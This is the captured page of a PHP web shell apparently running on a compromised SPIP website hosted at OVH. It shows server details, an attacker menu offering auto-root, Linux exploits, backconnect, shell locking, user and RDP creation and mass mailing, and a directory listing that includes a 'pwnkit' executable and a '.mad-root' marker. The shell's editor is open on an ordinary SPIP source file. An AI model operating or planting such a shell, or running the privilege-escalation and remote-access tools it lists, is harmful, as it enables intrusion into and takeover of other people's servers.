Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
grice /
ecrire /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
acces.php
13.5
KB
-rw----r--
actions.php
5.36
KB
-rw----r--
admin.php
9.46
KB
-rw----r--
auth.php
22.43
KB
-rw----r--
auth_handler.php
300
B
-rw-r--r--
autoriser.php
64.83
KB
-rw----r--
bandeau.php
8.42
KB
-rw----r--
boutons.php
2.49
KB
-rw----r--
charsets.php
28.17
KB
-rw----r--
chercher_logo.php
3.3
KB
-rw----r--
chercher_rubrique.php
11.33
KB
-rw----r--
commencer_page.php
4.49
KB
-rw----r--
completer_traduction.php
2.43
KB
-rw----r--
config.php
13.96
KB
-rw----r--
cookie.php
6.21
KB
-rw----r--
couleurs.php
3.24
KB
-rw----r--
csv.php
3.76
KB
-rw----r--
cvt_autosave.php
4.26
KB
-rw----r--
cvt_configurer.php
7.92
KB
-rw----r--
cvt_multietapes.php
10.15
KB
-rw----r--
definir_menus_favoris.php
1.08
KB
-rw----r--
distant.php
43.91
KB
-rw----r--
documents.php
8.84
KB
-rw----r--
drapeau_edition.php
6.82
KB
-rw----r--
editer.php
22.05
KB
-rw----r--
email_valide.php
1.74
KB
-rw----r--
envoyer_mail.php
7.67
KB
-rw----r--
exporter_csv.php
7.37
KB
-rw----r--
filtres.php
162.08
KB
-rw----r--
filtres_alertes.php
8.29
KB
-rw----r--
filtres_boites.php
4.79
KB
-rw----r--
filtres_dates.php
34.68
KB
-rw----r--
filtres_ecrire.php
17.33
KB
-rw----r--
filtres_images_lib_mini.php
59.89
KB
-rw----r--
filtres_images_mini.php
16.78
KB
-rw----r--
filtres_mime.php
4.72
KB
-rw----r--
filtres_mini.php
6.9
KB
-rw----r--
filtres_selecteur_generique.ph...
8.25
KB
-rw----r--
flock.php
20.88
KB
-rw----r--
genie.php
6.86
KB
-rw----r--
headers.php
7.77
KB
-rw----r--
icone_renommer.php
2.12
KB
-rw----r--
iconifier.php
1.37
KB
-rw----r--
importer_csv.php
4.8
KB
-rw----r--
index.php
2
B
-rw----r--
informer.php
2.95
KB
-rw----r--
install.php
15.69
KB
-rw----r--
invalideur.php
7.99
KB
-rw----r--
journal.php
1.11
KB
-rw----r--
json.php
2.2
KB
-rw----r--
lang.php
14.59
KB
-rw----r--
lang_liste.php
7.23
KB
-rw----r--
layer.php
5.93
KB
-rw----r--
lien.php
8.43
KB
-rw----r--
lien_court.php
1.17
KB
-rw----r--
liens.php
680
B
-rw----r--
lister_objets.php
2.13
KB
-rw----r--
livrer_fichier.php
7.7
KB
-rw----r--
log.php
3.43
KB
-rw----r--
math.php
4.42
KB
-rw----r--
meta.php
9.09
KB
-rw----r--
minipres.php
3.7
KB
-rw----r--
modeles.php
1.42
KB
-rw----r--
modifier.php
11.09
KB
-rw----r--
nfslock.php
11.47
KB
-rw----r--
notifications.php
5.76
KB
-rw----r--
pipelines.php
7.83
KB
-rw----r--
pipelines_ecrire.php
12.04
KB
-rw----r--
plonger.php
3.98
KB
-rw----r--
plugin.php
47.39
KB
-rw----r--
precharger_article.php
2.26
KB
-rw----r--
precharger_objet.php
7.2
KB
-rw----r--
prepare_recherche.php
5.72
KB
-rw----r--
preselectionner_parent_nouvel_...
2.19
KB
-rw----r--
presentation.php
8.63
KB
-rw----r--
presentation_mini.php
8.28
KB
-rw----r--
presenter_enfants.php
6.75
KB
-rw----r--
puce_statut.php
11.94
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
queue.php
20.62
KB
-rw----r--
recherche_to_array.php
8.15
KB
-rw----r--
rechercher.php
11.05
KB
-rw----r--
roles.php
12.12
KB
-rw----r--
rubriques.php
28.48
KB
-rw----r--
securiser_action.php
11.99
KB
-rw----r--
selectionner.php
5.27
KB
-rw----r--
session.php
21.59
KB
-rw----r--
simplexml_to_array.php
2.84
KB
-rw----r--
surligne.php
4.14
KB
-rw----r--
svg.php
19.55
KB
-rw----r--
texte.php
11.82
KB
-rw----r--
texte_mini.php
23.49
KB
-rw----r--
traduire.php
11.26
KB
-rw----r--
urls.php
11.05
KB
-rw----r--
utils.php
107.33
KB
-rw----r--
xml.php
7.47
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : drapeau_edition.php
<?php /***************************************************************************\ * SPIP, Système de publication pour l'internet * * * * Copyright © avec tendresse depuis 2001 * * Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribué sous licence GNU/GPL. * \***************************************************************************/ /** * Gestion des drapeaux d'édition * * Drapeau d'edition : on regarde qui a ouvert quel objet éditorial en * édition, et on le signale aux autres redacteurs pour éviter de se marcher * sur les pieds * * Le format est une meta drapeau_edition qui contient un tableau sérialisé * `type_objet => (id_objet => (id_auteur => (nom_auteur => (date_modif))))` * * À chaque mise à jour de ce tableau on oublie les enregistrements datant * de plus d'une heure * * Attention ce n'est pas un verrou "bloquant", juste un drapeau qui signale * que l'on bosse sur cet objet editorial ; les autres peuvent passer outre * (en cas de communication orale c'est plus pratique) * * @package SPIP\Core\Drapeaux\Edition **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Retourne le tableau des éléments édités en cours après avoir supprimé * les éléments trop vieux (de plus d'une heure) du tableau. * * @uses ecrire_tableau_edition() * * @return array * Tableau des éléments édités actuellement, par objet et auteur, du type : * `[ type d'objet ][id_objet][id_auteur][nom de l'auteur] = time()` **/ function lire_tableau_edition() { $edition = @unserialize($GLOBALS['meta']['drapeau_edition']); if (!$edition) { return []; } $changed = false; $bon_pour_le_service = time() - 3600; // parcourir le tableau et virer les vieux foreach ($edition as $objet => $data) { if (!is_array($data)) { unset($edition[$objet]); } // vieille version else { foreach ($data as $id => $tab) { if (!is_array($tab)) { unset($edition[$objet][$tab]); } // vieille version else { foreach ($tab as $n => $duo) { if (current($duo) < $bon_pour_le_service) { unset($edition[$objet][$id][$n]); $changed = true; } } } if (!$edition[$objet][$id]) { unset($edition[$objet][$id]); } } } if (!$edition[$objet]) { unset($edition[$objet]); } } if ($changed) { ecrire_tableau_edition($edition); } return $edition; } /** * Enregistre la liste des éléments édités * * @uses ecrire_meta() * * @param array $edition * Tableau des éléments édités actuellement, par objet et auteur, du type : * `[ type d'objet ][id_objet][id_auteur][nom de l'auteur] = time()` **/ function ecrire_tableau_edition($edition) { ecrire_meta('drapeau_edition', serialize($edition)); } /** * Signale qu'un auteur édite tel objet * * Si l'objet est non éditable dans l'espace privé, ne pas retenir le signalement * qui correspond à un process unique. * * @see lire_tableau_edition() * @see ecrire_tableau_edition() * * @param int $id * Identifiant de l'objet * @param array $auteur * Session de l'auteur * @param string $type * Type d'objet édité */ function signale_edition($id, $auteur, $type = 'article') { include_spip('base/objets'); include_spip('inc/filtres'); if (objet_info($type, 'editable') !== 'oui') { return; } $edition = lire_tableau_edition(); $nom = $auteur['nom'] ?? $GLOBALS['ip']; $id_a = $auteur['id_auteur'] ?? $GLOBALS['ip']; if (!isset($edition[$type][$id]) or !is_array($edition[$type][$id])) { $edition[$type][$id] = []; } $edition[$type][$id][$id_a][$nom] = time(); ecrire_tableau_edition($edition); } /** * Qui édite mon objet ? * * @see lire_tableau_edition() * * @param integer $id * Identifiant de l'objet * @param string $type * Type de l'objet * @return array * Tableau sous la forme `["id_auteur"]["nom de l'auteur"] = time()` */ function qui_edite($id, $type = 'article') { $edition = lire_tableau_edition(); return empty($edition[$type][$id]) ? [] : $edition[$type][$id]; } /** * Afficher les auteurs ayant édités récemment l'objet. * * @param integer $id * Identifiant de l'objet * @param string $type * Type de l'objet * @return array<string, string> * Liste de tableaux `['nom_auteur_modif' => x|y|z, 'date_diff' => n]` */ function mention_qui_edite($id, $type = 'article'): array { $modif = qui_edite($id, $type); unset($modif[$GLOBALS['visiteur_session']['id_auteur']]); if ($modif) { $quand = 0; foreach ($modif as $duo) { $auteurs[] = typo(key($duo)); $quand = max($quand, current($duo)); } // format lie a la chaine de langue 'avis_article_modifie' return [ 'nom_auteur_modif' => join(' | ', $auteurs), 'date_diff' => ceil((time() - $quand) / 60) ]; } return []; } /** * Quels sont les objets en cours d'édition par `$id_auteur` ? * * @uses lire_tableau_edition() * * @param int $id_auteur * Identifiant de l'auteur * @return array * Liste de tableaux `['objet' => x, 'id_objet' => n]` */ function liste_drapeau_edition($id_auteur) { $edition = lire_tableau_edition(); $objets_ouverts = []; foreach ($edition as $objet => $data) { foreach ($data as $id => $auteurs) { if ( isset($auteurs[$id_auteur]) and is_array($auteurs[$id_auteur]) // precaution and (array_pop($auteurs[$id_auteur]) > time() - 3600) ) { $objets_ouverts[] = [ 'objet' => $objet, 'id_objet' => $id, ]; } } } return $objets_ouverts; } /** * Quand l'auteur veut libérer tous ses objets (tous types) * * @uses lire_tableau_edition() * @uses ecrire_tableau_edition() * * @param integer $id_auteur * @return void */ function debloquer_tous($id_auteur) { $edition = lire_tableau_edition(); foreach ($edition as $objet => $data) { foreach ($data as $id => $auteurs) { if (isset($auteurs[$id_auteur])) { unset($edition[$objet][$id][$id_auteur]); ecrire_tableau_edition($edition); } } } } /** * Quand l'auteur libère un objet précis * * @uses lire_tableau_edition() * @uses ecrire_tableau_edition() * * @param integer $id_auteur * Identifiant de l'auteur * @param integer $id_objet * Identifiant de l'objet édité * @param string $type * Type de l'objet * @return void */ function debloquer_edition($id_auteur, $id_objet, $type = 'article') { $edition = lire_tableau_edition(); foreach ($edition as $objet => $data) { if ($objet == $type) { foreach ($data as $id => $auteurs) { if ( $id == $id_objet and isset($auteurs[$id_auteur]) ) { unset($edition[$objet][$id][$id_auteur]); ecrire_tableau_edition($edition); } } } } }
Close